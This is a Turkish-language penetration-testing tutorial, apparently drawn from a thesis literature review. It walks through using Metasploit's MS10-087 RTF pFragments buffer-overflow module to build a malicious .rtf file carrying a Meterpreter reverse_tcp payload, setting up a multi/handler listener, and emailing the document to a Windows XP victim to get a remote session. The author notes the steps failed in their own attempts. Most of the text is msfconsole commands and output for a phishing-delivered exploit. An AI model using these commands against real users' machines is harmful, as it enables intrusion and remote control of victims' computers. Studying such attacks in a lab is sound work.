Zararlı .rtf Uzantılı Dosya Yapma ve Meterpreter Session'ı Elde Etme

Gereksinimler

Kali Eski	// Saldırgan
Windows XP (Dandik)	// Kurban
Microsoft Office 2003	// Zafiyet

NOT

Her türlü denemelerime rağmen bu yazı başarılı olamamıştır. Fakat aşağıdaki video bu yazıda anlatılanları uyguladığında sorunsuz sızma işlemini gerçekleştirmektedir.

> https://www.youtube.com/watch?v=cK-8jygY2Tc

Bu yazıda Microsoft Office 2010, 2007 ve 2003 sürümlerini etkileyen, gelişi güzel kod çalıştırmayı sağlayan pFragments Stack Buffer Overflow açıklığından faydalanarak uzaktan session elde etme gösterilecektir. Bu makale boyunca izlenecek adımlar şu şekildedir: Önce Kali'de zararlı bir rtf uzantılı belge oluşturulacaktır. Sonra Kali sistemi dışarıdan gelecek ters bağlantıları dinler moda geçirilecektir. Çünkü zararlı belgeye çift tıklandığından oluşan ters bağlantıyı Kali'nin yakalamasını istiyoruz. Ardından oluşturulan zararlı belge kurbana yollanıp kurban olarak gelen zararlı belgeye çift tıklanacaktır. Böylece Kali komut satırında kurbandan gelen session görülmüş olunacaktır. Şimdi bu adımları teker teker yapalım.

İlk olarak Kali'de rich text formatında zararlı bir döküman oluşturalım.

```
msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(ms10_087_rtf_pfragments_bof) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms10_087_rtf_pfragments_bof) > set LHOST 192.168.2.188          // Kali IP
msf exploit(ms10_087_rtf_pfragments_bof) > set LPORT 4448
msf exploit(ms10_087_rtf_pfragments_bof) > exploit

[*] Creating 'msf.rtf' file …
[*] msf.rtf stored at /root/.msf4/local/msf.rtf
```

Görüldüğü üzere msf.rtf adlı dökümanımıza bir exploit ve akabinde meterpreter payload'u gömülmüştür. Dolayısıyla bu belge bir zararlı belge olmuştur. Zararlı belge oluşumundan sonra bunu kurbana göndermeden önce dinleme moduna geçelim. Çünkü kurban zararlı belgeye çift tıklandığı anda açılan ters bağlantıyı kaçırmak istemeyiz. Dolayısıyla aşağıdaki kodları girelim.

```
msf exploit(ms10_087_rtf_pfragments_bof) > back
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.2.188          // Kali IP
msf exploit(handler) > set LPORT 4448
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.2.188
```

[*] Starting the payload handler...

Böylece dışarıdan gelen ters bağlantılara açık hale gelmiş bulunmaktayız. Yani artık saldırgan olarak hazır durumdayız. Bundan sonraki aşama zararlı belgeyi eposta yoluyla Windows XP (Dandik)'e göndermek ve Windows XP'den bu belgeyi office yazılımıyla açmaktır. Zararlı belgeyi Office 2003 yazılımı ile açtığımız takdirde zararlı belgedeki exploit office 2003'teki zafiyetten faydalanarak çalışacak ve office 2003 process'inin içine sızacaktır. Ardından bunun akabinde exploit, payload'u çalışır haldeki process'in göbeğine bırakacaktır. Böylece Kali'deki konsol şu çıktıyı verecektir.

[*] Sending stage (752128 bytes) to 192.168.2.188
[*] Meterpreter session 1 opened

meterpreter > ...

Yani meterpreter oturumu komut satırımıza gelmiş olacaktır. Artık dilediğimiz şekilde kodlamada bulunabilir, hedefi dilediğimiz gibi manipule edebiliriz.

Kaynak: Tez Raporu/Literatür Taraması/İncelenmiş Makaleler/BGA/Pentest ve Metasploit.pdf, page 238